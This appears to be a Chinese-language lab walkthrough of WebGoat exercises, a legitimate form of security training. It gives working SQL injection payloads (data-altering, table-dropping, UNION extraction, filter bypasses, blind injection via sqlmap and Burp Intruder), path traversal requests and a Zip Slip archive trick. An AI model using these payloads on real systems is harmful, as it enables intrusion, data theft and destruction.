安装与部署
# 安装
docker pull webgoat/goatandwolf
# 启动
sudo docker run -d -p 6870:8888 -p 6869:8080 -p 6871:9090 webgoat/goatandwolf
我下载webgoat版本经常无法自动启动webwolf,需要进入到容器命令函手动启动
docker exec -it -uroot fervent_carson bash
sh start.sh
准备工具
kali虚拟机下载
我这里是下载的Vmware镜像,需要安装Vmware后导入
Burpsuit下载
下载社区版就可以
开始
访问WebGoat
http://192.168.0.177:6869/WebGoat
需要自己注册一个账号
General
Http Basics Http基础
题2: 输入姓名,获得反转字符串
解 : Enter Your Name: 123456
The server has reversed your name: 654321
题3: 本课介绍查看请求使用了什么类型的HTTP命令。POST或GET
解:
- F12打开浏览器开发者工具,选择Network,点一次Go,查看attack2的请求方式和请求参数
- 请求方式为 Post
- Form data 能看到 magic_num 参数 为 : 43
Http Proxies Http协议
题6: Intercept and modify a request 拦截和修改请求
BurpSuit代理配置
- 设置代理
- 在浏览器中启用BS的代理
- 打开BS的拦截功能
- 返回WebGoat,点击Submit按钮,BS拦截请求
- Change the Method to GET
- Add a header ‘x-request-intercepted:true’
- Remove the request body and instead send ‘changeMe’ as query string parameter and set the value to ‘Requests are tampered easily’ (without the single quotes)
Developer Tools 开发者工具
题4 : Try It! Using the console
解:
- F12,切换到Console,输入 webgoat.customjs.phoneHome() 回车,获得 输出,从中提取出随机的phoneHome Response 数值,这里是 【1607748726】,点击Submit,成功 返回值
{"feedback":"Congratulations. You have successfully completed the assignment."}
题6 : Try It! Working with the Network tab 在这项任务中,您需要找到一个特定的HTTP请求,并从中读取一个随机数。
解 : F12,切换到network,点击Go!按钮,查看名为【network】的请求记录,从formdata中获取该随机数。复制到下方输入框点击Check
CIA Triad CIA三要素
题5: 一些关于CIA的基础概念选择题,没啥好说的
Crypto Basics 加密基础
题2: Base64编码
Now suppose you have intercepted the following header: Authorization: Basic Zmlza2VyeWFuZzoxMjM0NTY=
解: 使用base64加解密工具解密上面的字符串(basic 之后那段),得到以下答案
fiskeryang:123456
base64工具 (用ChatGPT之类的AI工具也可以)
题3 : XOR encoded 异或编码
Suppose you found the database password encoded as {xor}Oz4rPj0+LDovPiwsKDAtOw==
异或操作 :是一种逻辑运算,用于比较两个二进制数对应位上的值。如果两个二进制位相同,则异或结果为0;如果两个二进制位不同,则异或结果为1
解: 使用 异或解码工具 输入字符串(不包括{xor}) 获得解码后的字符串 databasepassword
题4: 普通哈希
使用普通哈希解码两个加密串
BED128365216C019988915ED3ADD75FB /2BB80D537B1DA3E38BD30361AA855686BDE0EACD7162FEF6A25FE97BF527A25B
解:
- 使用cmd5在线解密 获得 结果为 passw0rd (md5) / secret (sha256)
- 使用kali自带的工具也可以实现 。先用 hash-identifier 检测加密算法 在用 hashcat破解
hash-identifier # 输入加密串,检测加密算法,分别获得两个串为md5和sha256加密 hashcat -a 3 -m 0 BED128365216C019988915ED3ADD75FB -o md5ret.txt # -a 3 : 掩码破解 -m 0 : md5 -o : 输出结果到指定文件 # 没有字典和掩码直接使用暴力破解过程非常慢,还是用在线工具吧(复杂的密码要收费)
题6: RSA签名,使用指定的私钥获取公钥的模以及根据摸提供签名
解: 把题目提供的私钥保存为文件
ehco '【私钥字符串(包括前后缀)】' > prikey # 获取模 openssl rsa -in prikey -modulus
# 再使用模来签名 echo -n '【模字符串】' | openssl dgst -sign prikey -sha256 -out dgst base64 dgst > result # result 为签名 cat result
知识扩展: 这里说到了加密,我们就来详细介绍一下常见的加密原理
对称加密:使用相同的密钥进行数据的加密和解密。发送方使用密钥对要发送的数据进行加密,然后接收方使用相同的密钥对接收到的密文进行解密,恢复原始的明文数据,常见的对称加密算法有DES、AES和RC4等。
其中以AES为例,AES算法的密钥长度有128位(16字节)、192位和256位三种。 使用128位密钥时,被加密的原文会按照128位进行拆分成多个分组进行加密。每个分组的大小为128位(16字节),并且每个分组都会经过一系列的轮(rounds)进行加密操作。如果原文的长度不是128位的倍数,会采用填充(padding)的方式将其补足到合适的长度,使得可以进行分组加密。
常见的填充方式包括 :
PKCS7填充(缺N位就补几个 0xN)数据 : 00112233445566778899AA(11字节) 密钥 :16字节,则数据需要先填充5个 0x05。填充后变为 00112233445566778899AA0505050505
ZeroPadding填充(缺N位补N个 0x00) : 接上例的数据,填充后的数据为 00112233445566778899AA0000000000
非对称加密:使用一对不同的密钥进行数据的加密和解密。这对密钥分别被称为公钥和私钥。发送方使用接收方的公钥对要发送的数据进行加密,而只有接收方持有相应的私钥才能解密密文并获取原始明文数据。其中公钥是公开的,可以安全地共享给其他人,而私钥必须保密并且只能由其所有者掌握。加密的数据只能用对应的私钥进行解密。常见的非对称加密有 RSA、DSA、ECC
在这里,我们额外了解一下RSA算法的原理。
RSA算法是一种非对称加密算法,常用于以下三种应用场景 : 数据加密,数字签名,密钥协商
数据加密 :
rsa加解密过程如下 :
1. 生成密钥对:首先,需要生成一对密钥,包括公钥和私钥。公钥可以公开,私钥则只有用户自己知道。
2. 加密数据:要加密数据,需要使用接收方的公钥进行加密。加密过程如下:
a. 将明文数据转换为数字形式。
b. 使用接收方的公钥对数字进行加密。
c. 得到密文数据。
3. 解密数据:要解密数据,需要使用自己的私钥进行解密。解密过程如下:
a. 使用自己的私钥对密文数据进行解密。
b. 得到数字形式的明文数据。
c. 将数字形式的明文数据转换为原始数据。
数字签名: 私钥可以用来给数据进行签名(由原始数据和私钥生成一段数字串),签名后的数据可以使用公钥来验证数据的真伪。
数字签名的生成过程如下:
1. 发送方使用哈希算法对原始数据进行处理,生成消息摘要。
2. 发送方使用自己的私钥对消息摘要进行加密,生成数字签名。
3. 发送方将原始数据和数字签名一起发送给接收方。
4. 接收方使用发送方的公钥对数字签名进行解密,得到消息摘要1。
5. 接收方使用相同的哈希算法对原始数据进行处理,生成消息摘要2。
6. 接收方比较两个消息摘要是否相同,如果相同,则说明数据没有被篡改,数字签名有效。
密钥协商:允许两个用户在互相未知的情况下共同生成一把密钥。这样既保证了密钥的安全性,又缩短了密钥交换的时间
双方各自生成一对公钥和私钥
双方将自己的公钥发送给对方。
双方使用对方的公钥加密一个随机生成的会话密钥,得到密文后发送给对方。
对方收到密文后,使用自己的私钥进行解密,获取会话密钥。
双方现在都拥有了该会话密钥,可用于加密传输消息。
我们举一个简单的例子说明一下rsa算法的计算过程
首先 => E - 公钥 ,D - 私钥 ,N - 模数 是怎么来的?
1. N = p * q (p,q为两个质数,通常需要两个很大的质数,这里是介绍原理就用简单的)
p = 11 q = 7 N = 77
2. L=lcm(p-1,q-1)最小公倍数
L= 10与6的最小公倍数 = 30
3. 求E ,两个条件
3.1 1<E<L
3.2 E和L的最大公约数为1 (E与L互质)
E 假设为 13
4. 求D,条件为
4.1 1 < D < L
4.2 E*D mod L = 1 (13*D mod 30 = 1)
D = 7
得出 公钥 (13,77) 私钥 (7,77)
其次 => 加解密过程
假设明文为【18】
加密 : 18^13 mod 77 = 46
解密 : 46^7 mod 77 = 18
最后介绍一下HTTPS协议的通讯过程,它同时用到了不对成加密和对称加密算法
**HTTPS协议的通讯过程如下 **
- 客户端向服务器发送连接请求,请求建立一个HTTPS连接。
2. 服务器返回一个数字证书,证书中包含了服务器的公钥以及一些其他信息。
3. 客户端验证证书的有效性,如果证书有效,则生成一个随机的加密密钥(对称加密的密钥),使用服务器的公钥(不对称加密)进行加密后发送给服务器。
4. 服务器使用自己的私钥解密客户端发送过来的加密密钥,得到原始密钥。 **
5. 客户端和服务器使用原始密钥进行加密和解密通信数据。 **
6. 通信结束后,客户端和服务器都会销毁原始密钥,以保证通信的安全性
题8: 在docker容器中找到key,再使用key来解密
解:
# 需要先安装docker docker run -d webgoat/assignments:findthesecret docker exec -it -uroot relaxed_golick bash cd /root # 存储key的文件名为 default_secret key为 ThisIsMySecretPassw0rdF0rY0u #使用key进行解密echo "U2FsdGVkX199jgh5oANElFdtCxIEvdEvciLi+v+5loE+VCuy6Ii0b+5byb5DXp32RPmT02Ek1pf55ctQN+DHbwCPiVRfFQamDmbHBUpD7as=" | openssl enc -aes-256-cbc -d -a -kfile default_secret# 解密后的文本为: Leaving passwords in docker images is not so secure
Writing new lesson 编写新课程
题6 : 为你自己课程添加练习题。介绍了如何创建自定义课程,以及如何配置练习题,题目是需要填入样本代码中的两个参数
解: 后端样例代码中提供了答案正确与错误的两个return分支,分别是 return success 和 return failed ,返回成功的条件为secretValue.equals(param1),查找secretValue的值得到 字符串 【secr37Value】,因此参数一就是这个。参数2后端没有校验,所以留空或者随便填都可以。
Injection 注入
SQL Injection (intro) SQL注入(简介)
本课程描述了什么是结构化查询语言(SQL),以及如何操作它来执行开发人员最初不打算执行的任务
题2 : 什么是SQL?
尝试检索员工Bob Franco的部门
解:简单的SQL查询
select department from employees where last_name = 'Franco'
题3 : 数据操作语言(DML)
尝试将Tobi Barnett的部门改为“Sales”。
解 :
update employees set department = 'Sales' where last_name = 'Barnett'
题4: 数据定义语言(DDL)
现在尝试通过将列“phone”(varchar(20))添加到表“employees”中.
解:
alter table employees add column phone varchar(20)
题5 : 数据控制语言(DCL)
尝试将表的权限授予未经授权的用户:
解 :
grant SELECT, INSERT, UPDATE, DELETE on grant_rights to unauthorized_user
题9: Try It! String SQL injection 字符串SQL注入
解 : 按照第六步例子输入参数即可
题10 : Numeric SQL injection 数字型SQL注入
解 :
SELECT * From user_data WHERE Login_Count = 1 and userid= 1 or 1=1
题11: 获取所有员工信息。 这个和前面的也差不多
解 :
题12 : 利用查询链接破坏完整性
你刚刚发现托比和鲍勃似乎都比你赚得多!当然,你不能就此打住。最好去改变你自己的工资,这样你就能赚得最多!
解:
Employee Name : Smith Authentcation TAN : 3SL99A' ; update employees set salary = 1000000 where last_name = 'Smith
题13 : 可用性破坏
这里似乎有一个访问日志表access_log,您的所有操作都已记录到该表中!最好在别人注意到之前把它完全删除。
解: 先直接点下查询 ,可获得该表的结构,看样子应该是支持 action 字段的模糊查询。 推断查询的SQL应该类似于
select * from access_log where action like '%"+ param +"%'
尝试输入以下参数再执行查询
3SL99A’;delete from access_log;–
没有获取想要的结果,再尝试几次其他的注入参数,都不行。 只能使用题12中的注入点Employee Name : Smith Authentcation TAN : 3SL99A' ; delete from access_log;--
执行成功,返回题13,再次查询,数据没有了 但是题还是没通过
只能使用删表语句了 ,回到题12 再次执行Employee Name : Smith Authentcation TAN : 3SL99A' ; drop table access_log;--
再次回到题13查询,题目通过。。
SQL Injection (advanced) SQL注入(高级)
题3 : Try It! Pulling data from other tables
从其他表中提取数据
6.a) Retrieve all data from the table
6.b) When you have figured it out…. What is Dave’s password?
解: 题中介绍可以通过union或扩展新sql语句的方式实现,我们来一一尝试一下
- 扩展
';select * from user_system_data --
成功,获取数据如下,同时可以得知第二题 Dave的密码为 passW0rD
You have succeeded: USERID, USER_NAME, PASSWORD, COOKIE, 101, jsnow, passwd1, , 102, jdoe, passwd2, , 103, jplane, passwd3, , 104, jeff, jeff, , 105, dave, passW0rD, ,
- union
比较两个表的结构,user_system_data表比user_data少三个字段,union要求查询字段和数据类型要相同才能连接,所以这里我们需要多写几个重复的字段代替user_system_data表中没有的字段。' UNION select userid,user_name,user_name,user_name,user_name,password,userid from user_system_data --
You have succeeded: USERID, FIRST_NAME, LAST_NAME, CC_NUMBER, CC_TYPE, COOKIE, LOGIN_COUNT, 101, jsnow, jsnow, jsnow, jsnow, passwd1, 101, 102, jdoe, jdoe, jdoe, jdoe, passwd2, 102, 103, jplane, jplane, jplane, jplane, passwd3, 103, 104, jeff, jeff, jeff, jeff, jeff, 104, 105, dave, dave, dave, dave, passW0rD, 105,
拓展知识
SQL盲注 用于绕过应用程序的安全机制并获取数据库中的敏感信息。与普通的SQL注入不同的是,在盲注中,攻击者无法直接从应用程序的响应中获取数据。这意味着攻击者在执行恶意SQL查询后,无法直接看到查询结果。盲注通常发生在应用程序未正确过滤用户输入的情况下。
盲注的攻击手段基于不同的应用程序响应。有两种主要类型的盲注攻击:
- 布尔盲注(Boolean-based Blind SQL Injection):
在布尔盲注中,攻击者通过构造SQL查询,利用应用程序在查询返回时的真假判断来推断信息。攻击者可以根据应用程序的响应来确定是否存在漏洞以及查询结果是否为真或假。- 基于时间盲注(Time-based Blind SQL Injection):
在基于时间的盲注中,攻击者通过构造SQL查询,利用应用程序在查询执行时间上的延迟来推断信息。攻击者可以通过注入一些导致延迟的代码来判断是否存在漏洞以及获取数据。
题5: SQL盲注实战题
Goal: Can you login as Tom?
解: 题中有登录和注册两个表单,首先需要确定注入点在哪里。这里我们可以用kali自带的sqlmap工具进行盲注。
- 首先确定两个操作的请求信息,使用 burpsuit、fiddler或者浏览器的开发者工具都可以
- bp : 选择 Proxy => HTTP history => 选中请求记录右键选择 Save Item
- fiddler :选中请求记录,右键 save => Selected Sessions => as Text
- Chrome : F12,选择Network,选中请求记录 =》 Save all as HAR with content (这里有个小坑,该文件保存的是当前列表所有请求的记录,并不只是选中的这一条)
- 把保存的请求信息文件【request.txt】放入kali虚拟机,执行sqlmap指令
1. sqlmap -r "request.txt" # 这里会有个提示问题 Cookie parameter 'token' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] # 要选择N,否则会一直提示要提供【csrf-token】和【csrf-url】参数来绕过csrf校验,这里实际上是误报,Cookie中的参数token并不是 csrf-token,所以这里选择Y的话,不管csrf-token提供什么值都无法继续。 #对两个接口都进行盲注后发现如下注入点 Parameter: username_reg (PUT)Type: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clausePayload: username_reg=33333' AND 8144=8144 AND 'IErf'='IErf&email_reg=123@123.com&password_reg=123&confirm_password_reg=123 2. # 接下来查看数据库名称 sqlmap -r "request.txt" --current-db --no-cast #返回 current database (equivalent to schema on HSQLDB): 'PUBLIC' 由此得知数据库名为PUBLIC 3. # 再查库中有哪些表 sqlmap -r "request.txt" --no-cast -D PUBLIC --tables # 返回 [WARNING] unable to retrieve the number of tables for database 'PUBLIC' [ERROR] unable to retrieve the table names for any database 无法获取PUBLIC库中的表信息,只能通过另外的方法来实现了,至少我们现在知道了注入点在哪里
- 返回WebGoat,已经知道注册表单的username为注入点,我们可以该字段进行各种输入尝试
- 首先需要确定账户名,题目是使用Tom登录,我们使用Tom为用户名尝试进行注册,发现可以成功
直接使用刚注册的Tom登录,没有获得完成练习的提示{"lessonCompleted" : true,"feedback" : "User Tom created, please proceed to the login page.","output" : null,"assignment" : "SqlInjectionChallenge","attemptWasMade" : true}
再尝试使用 tom ,发现该用户已注册。看样子实际的用户名应该是tom而不是Tom- 接下来我们需要获取密码字段的名称,使用该字段进行布尔型盲注
#这里我们可以猜测一下,判断用户是否已存在的sql语句大致是这样的,返回值>0则表示该用户已存在 select count(1) from PUBLIC where username = '"+username+"'; # 输入正常用户名时,是这样的。此时服务端应该返回该用户已存在 select count(1) from PUBLIC where username = 'tom'; # 注入后变成这样,如果[密码字段]猜测错误,该SQL会报错,如果猜测正确,该sql会返回0,服务端会提示注册成功 select count(1) from PUBLIC where username = 'tom' and [密码字段]=''; # 接下来就是不停的用各种常见的密码字段名来尝试了,结果很简单,密码字段就是password select count(1) from PUBLIC where username = 'tom' and password=''; #输入 tom' and password=' #返回 {"feedback" : "User tom' and password=' created, please proceed to the login page."}
- 接下来需要确定密码长度,也是使用布尔型盲注
# 输入 tom' and (length(password)>10)-- 等同于 select count(1) from PUBLIC where username = 'tom' and (length(password)>10) --' # 如果密码长度大于10 则(length(password)>10)会返回true,那么整个sql返回的就是>1的,此时会提示注册失败。所以我们需要一个个的尝试不同的长度,来确定最终的长度是多少 #返回如下,说明密码长度是大于10的 { "feedback" : "User {0} already exists please try to register with a different username." } # 由此方法一直到 > 24 发现服务端返回了 { "feedback" : "User tom' and (length(password)>24)-- created, please proceed to the login page.",} # 说明密码长度为23
- 获取密码字段名称和长度后,就可以使用Burpsuit进行爆破了 。先配置好Burpsuit的代理,
在username输入框使用 【tom’ and substring(password,1,1)=‘1’–】发送一次注册请求。在HTTP history中选中该记录,右键发送到intruder
- 在Intruder中切换到 Positions分页,
- 注意从history发送到intruder后会自动对请求参数进行 urlencoder,为了不影响观察可以先把参数解一下码再复制进去
- 点clear § 按钮去除掉自动生成的§符号
- 把 substring(password,1,1)=1 改为 substring(password,§1§,1)=§1§ (被§括起来的值表示需要参数化,命名可以随意)
- 上面的Attack type 使用 Cluster bomb 不同攻击模式的区别
- 选择 Payloads分页
- payload set : 这里显示为2,因为前面定义了两个参数化变量 所以两个参数需要分别设置参数化值;
- payload type 2个参数都选择 simple list
- payload options : 这里就是选择参数化的池的,参数1是截取的password的索引,一共23位密码,所以这里是1-23;参数2是密码的值,这里不知道是纯数字还是字符和数字的混合,所以我们暂且认为是小写字母+数字的混合,输入 0-9 + a-z ,在界面上也会显示 request count为 828 。 (23*(10+26))= 828
- 点击右侧的 start attack按钮。开始自动取参数发送请求。所有请求结束后,查看每个请求的返回值,找到返回的feedback字段提示为账户已存在的。(请求数太多肉眼很难分辨,这里可以点一下length排序,把相同返回信息的请求全部分到一起)最后我们得到了一个这样的列表
结合两个参数的值,注意推断出真实的密码为 thisisasecretfortomonly
最后使用 tom + thisisasecretfortomonly 登录。完成
题6: 几个关于 prepared statement 和 statement的区别选择题
SQL Injection (mitigation)
题5: 前面几个介绍了如何规避注入的几种方式,这里需要补全一段使用preparestatment的java查询代码
解:
Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW);PreparedStatement pre = conn.prepareStatement("SELECT status FROM users WHERE name= ? and mail = ?");pre.setString(1,name);pre.setString(2,mail);
题6: 自己写安全的查询代码,要求 连接数据库 + 使用防注入的方式执行查询 + 至少包含一个参数
解:把题5的代码补充得完整一点就行了
try{Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW);PreparedStatement pre = conn.prepareStatement("SELECT status FROM users WHERE name= ? and mail = ?");pre.setString(1,"name");pre.setString(2,"mail");ResultSet resultSet = pre.executeQuery();}catch (SQLException e){System.out.println(e.getStackTrace());}
题9 : Input validation alone is not enough!! 仅输入验证是不够的
解:该题是沿用SQL Injection (advanced) 题三 的问题,加上了输入验证。需要获取user_system_data 表的数据
# 先直接用第三题的答案试试 1';select * from user_system_data;-- # 返回 { "feedback" : "Using spaces is not allowed!"} # 既然无法使用空格,可以使用 /**/尝试一下 1';select/**/*/**/from/**/user_system_data;-- # 返回成功 # SQL 中,/**/ 是注释的一种形式,可以用来注释掉一段代码或语句。在使用 /**/ 代替空格时,实际上是将空格注释掉,使得 SQL 引擎在解析 SQL 语句时不会将其作为分隔符,而是将整个语句作为一个整体进行解析。这种技巧通常用于 SQL 注入攻击中,通过将空格替换为 /**/,可以绕过一些简单的过滤规则,从而执行恶意代码。
题10 : input validation alone is not enough!! 仅输入验证是不够的
解:同样的题目,防护进一步升级了
# 先用上一题的答案试试 1';select/**/*/**/from/**/user_system_data;-- # 返回 Your query was: SELECT * FROM user_data WHERE last_name = '1';\/**\/*\/**\/\/**\/USER_SYSTEM_DATA;--' # 返回到上一题,看看服务端返回什么,比较下差异 Your query was: SELECT * FROM user_data WHERE last_name = '1';select\/**\/*\/**\/from\/**\/user_system_data;--' # 可以看到,这一题实际执行的SQL中,把我们输入的select和from关键字都去掉了,猜测应该是使用了 str.replace("select","")之类的函数进行了替换,这里我们可以尝试一下输入两次关键字 1';sselectelect/**/*/**/ffromrom/**/user_system_data;-- # 返回成功
题12: 使用order by 排序注入,给了一个可排序的数据列表,需要获取 hostname为webgoat-prd的ip
在11中介绍了 order by 子句可以使用 (CASE WHEN (TRUE) THEN lastname ELSE firstname) 来注入
解:
1. 先点一下排序按钮,获得请求信息GET /WebGoat/SqlInjectionMitigations/servers?column=ip # 按ip排序 返回的数据 id为 2、3、1、4 GET /WebGoat/SqlInjectionMitigations/servers?column=hostname # 按hostname排序 返回的数据id为 3、1、4、22. 使用burpsuit把请求发送到repeater,把column参数的值改为任意字符串 GET /WebGoat/SqlInjectionMitigations/servers?column=sssss # 返回了sql异常信息,从异常信息中我们可以找到查询的表名和对应的字段名称 java.sql.SQLSyntaxErrorException: user lacks privilege or object not found: SSSSS in statement [select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by sssss]\n3. 接下来尝试一下11中介绍的方法,将column参数改为 (需要UrlEncode) (CASE WHEN 1=1 THEN ip ELSE hostname END) / (CASE%20WHEN%201%3D1%20THEN%20ip%20ELSE%20hostname%20END) # 返回数据顺序 2314,说明该参数可以识别SQL条件语句,能进行排序注入4. 然后就可以参照前面破解登录框的方式来进行布尔型盲注,尝试编写条件语句如下 (CASE WHEN substring((select ip from servers where hostname='webgoat-prd'),1,1)='1' THEN ip ELSE hostname END) # 发送到intruder,先urlencoder,再参考上面的方式设置pyloads,一号参数取值为 1-3(题目只需要破解IP的前三位) 二号参数取值为 0-9,一共30次请求,攻击完成后。查看请求列表,寻找返回数据顺序为2、3、1、4的请求最后根据请求结果,推断出ip头三位为 104
Path traversal 路径遍历
题2 : 通过上传接口访问存储文件路径之外的目录
解:
# 随便上传一个图片,点update。系统返回信息 Profile has been updated, your image is available at: /home/webgoat/.webgoat-8.2.2/PathTraversal/fiskeryang/test" # 在burpsuit里获取请求发送到repeater,查看请求信息,拉到最下方的请求参数部分,可以看到存放文件的名称就是 fullname字段的值,文件存放路径为path+fullname拼接而成 # 把参数值由 test 改为 ../test1 。发送请求。返回成功{ "feedback" : "Congratulations. You have successfully completed the assignment."}
题3 : 目标与上题相同,
解:
# 与上题相同,先正常上传一次,然后把参数值由 test 改为 ../test1 。发送请求。 返回 "Profile has been updated, your image is available at: \\/home\\/webgoat\\/.webgoat-8.2.2\\/PathTraversal\\/fiskeryang\\/test1\\\"", # 把 ../test1 改为 %2e%2e%2ftest1 返回 "Profile has been updated, your image is available at: \\/home\\/webgoat\\/.webgoat-8.2.2\\/PathTraversal\\/fiskeryang\\/%2e%2e%2ftest1\\\"", 看样子并没有做 urldecode # 再试试双写 ../test1 改为 ..././test1 返回 "feedback" : "Congratulations. You have successfully completed the assignment.",
题4: 目标与上题相同
解:
# 先正常上传一次。 返回 "Profile has been updated, your image is available at: /home/webgoat/.webgoat-8.2.2/PathTraversal/fiskeryang/qq-picture.jpg" 上传后存储的文件名变了 由fullname变为了文件原本的名字 # 找到请求数据中记录文件名的位置 把 filename="qq-picture.jpg" 改为 filename="../qq-picture.jpg",发送请求 返回 "feedback" : "Congratulations. You have successfully completed the assignment.",
题5: Retrieving other files with a path traversal
解:
- 点一下按钮获取请求信息,分析请求和返回的数据,在返回的数据包中找到这个头
Location: /PathTraversal/random-picture?id=8.jpg- 把请求发送到repeater, 设置请求路径为 /WebGoat/PathTraversal/random-picture?id=8.jpg,发送
返回404 ,但是在返回体中能看到当前目录结构以及文件列表,并且 location头的路径自动添加了个.jpg的后缀
- 去掉请求路径中的.jpg后缀 改为 设置请求路径为 /WebGoat/PathTraversal/random-picture?id=8 发送请求
成功返回图片数据- 题中要求我们访问的文件名为 path-traversal-secret.jpg ,在上面的目录中没有,所以我们需要向其他目录寻找
修改路径后缀为 /random-picture?id=…/ 发送请求。。 返回400 bad request 请求参数字符非法,看样子要先编码
改为 /random-picture?id=%2e%2e%2f 返回404 但是能看到上一层目录的文件了
- 在这一层目录仍然没有找到我们需要的文件(这里存的都是前面习题中上传的文件),那就再上一层
/random-picture?id=%2e%2e%2f%2e%2e%2f 找到这个文件了
- 访问一下这个文件,拿到他的内容看看 (不带后缀)
/random-picture?id=%2e%2e%2f%2e%2e%2fpath-traversal-secret
返回 You found it submit the SHA-512 hash of your username as answer- 用SHA-512工具把用户名加下密.得到 519eb44afca2615199841472deeb773512f1bd5c3628113ba9427d6acdc538fd9a730de1e4f5ebbcd2b82e75386ec38cacc68db262341187b5a0c87b7ad666ea
题7: Zip Slip
这一次开发人员只允许你上传zip文件,然而他们犯了一个编程错误,上传的zip文件会被解压,但它不会覆盖你当前的头像。你能找到一种绕过编程错误覆盖当前头像的方法吗?
解:
Zip Slip是一种可以从存档中提取文件的目录遍历漏洞利用形式。目录遍历漏洞的基础是攻击者可以获取目标文件夹外的文件系统的部分访问权限。然后攻击者可以覆写可执行文件,然后远程唤醒或等待系统、用户调用,然后在受害者的设备上执行远程命令。如果覆写了配置文件或其他敏感的资源,那么该漏洞就会造成比较大的危害。
利用该漏洞的两个必要条件是:
1) 有恶意项存档文件;
2) 提取代码不会执行验证性检查。
在这里 我们并不需要上传恶意文件,只需要把我们上传的zip包中的文件存放到题目中指定的文件路径即可
题中指定的路径是这个 /home/webgoat/.webgoat-8.2.2/PathTraversal/fiskeryang
既然我们的zip文件上传后被解压了,那也肯定是要存在某个地方的,所以我们这里可以通过漏洞来指定解压后存储的路径
- 准备一个pic文件test.jpg,把他打成一个zip压缩包 upload.zip
- 用压缩工具打开zip文件,把test.jpg文件名改为
..\..\..\..\..\..\..\..\..\..\..\..\..\home\webgoat\.webgoat-8.2.2\PathTraversal\fiskeryang\test.jpg# windows中文件名无法带.和 \ 和 / 所以要在压缩工具里修改文件名
之所以这样修改,因为我们当前并不知道文件解压后存到哪里了,也不关心。我们需要关注的是解压后要存到那里,所以我们先用多个 …\ 返回根目录,再在后面拼接需要存放的目标路径即可 。修改后变成这样
上传upload.zip, 提交。返回成功,返回体信息如下:{"lessonCompleted" : true,"feedback" : "Congratulations. You have successfully completed the assignment.","output" : "Zip file extracted successfully, failed to copy image. Please contact our helpdesk.","assignment" : "ProfileZipSlip","attemptWasMade" : true }